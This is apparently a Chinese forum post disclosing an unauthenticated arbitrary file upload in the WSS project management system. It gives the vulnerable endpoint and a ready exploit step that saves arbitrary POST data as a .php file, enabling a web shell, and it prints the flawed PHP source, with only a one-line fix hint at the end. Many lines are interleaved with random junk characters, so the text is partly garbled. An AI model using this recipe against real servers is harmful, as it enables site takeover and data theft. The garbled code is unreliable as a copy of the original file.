WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
4 l; J. K1 P- [: \; \8 G% k& x6 r/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


6 [  \& A: B1 ~: {- R6 l# v1 t最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

) ?* u: H" f4 _( Y' e; k& r2 ^//
// In Open Flash Chart -> save_image debug mode, you
& `2 [( a* h: x/ Z// will see the 'echo' text in a new window.
//

/*

print_r( $_GET );
print_r( $_POST );
% ]* L+ }! K  t$ D6 j" m# a3 f) Eprint_r( $_FILES );
( d( o. ?4 g" f3 n- o
% Z$ O! V6 D* o& j% xprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

1 I9 |3 s2 j* k* h*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

: a1 {/ I3 D2 X5 nif (!file_exists($default_path)) mkdir($default_path, 0777, true);
# [( o2 h$ H3 z- V
5 N$ [+ ]7 f5 I3 ?8 U// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
( D! W: L& v$ c. w
' m6 m) c3 [1 ~$ cecho 'Saving your image to: '. $destination;
! w) Z) N# M- P  L// print_r( $_POST );
3 {! x* v7 @0 Y4 L* D1 [- E" x3 h// print_r( $_SERVER );
' ]2 M/ H3 J7 X& A  ^// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
+ L2 B8 f; e1 J' x% c% x( _3 T// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
) i% O* d$ W1 j  t% qfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

! p# F! B' Q# r" B& h1 W//
// LOOK:
//
( Z  i- X2 b) R  `/ P' |1 ^& eexit();
) M3 V4 N! i, m( b6 _' w8 z//
// PHP5:
//


3 w: T5 R: K# A2 x// default path for the image to be stored //
  Q5 |4 h  n8 B- R+ D( r$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 ^: Q: a( q& ^  E# ~7 v2 J
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
  `) {$ F& j9 M* C% r6 @0 a
// move the image into the specified directory //
5 m1 M) e3 |! T) f+ xif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
" ~1 ?  ]6 p' Y* R% N; G    echo "FILE UPLOAD FAILED";
3 }% s* u- L1 H( H5 s}

3 L7 ~$ [2 T6 i( J0 F( O" C( u5 \
% b1 E; O" K- }6 F6 M- Y( L) a?>
& G: |( Q) R, Q0 F

0 l, H; l$ B6 H6 W. g2 P, m  |% d

) @  B4 I! z, I1 j/ k( W  a- i- p

2 F2 P, h% s9 e- S修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
$ J2 Y1 d; k+ j- A! C' [8 Z
' i' _( a. g$ {' p7 d

* E1 l: r9 ^- g8 W/ D$ j4 o" h/ {
" G" ?. s7 h9 N/ I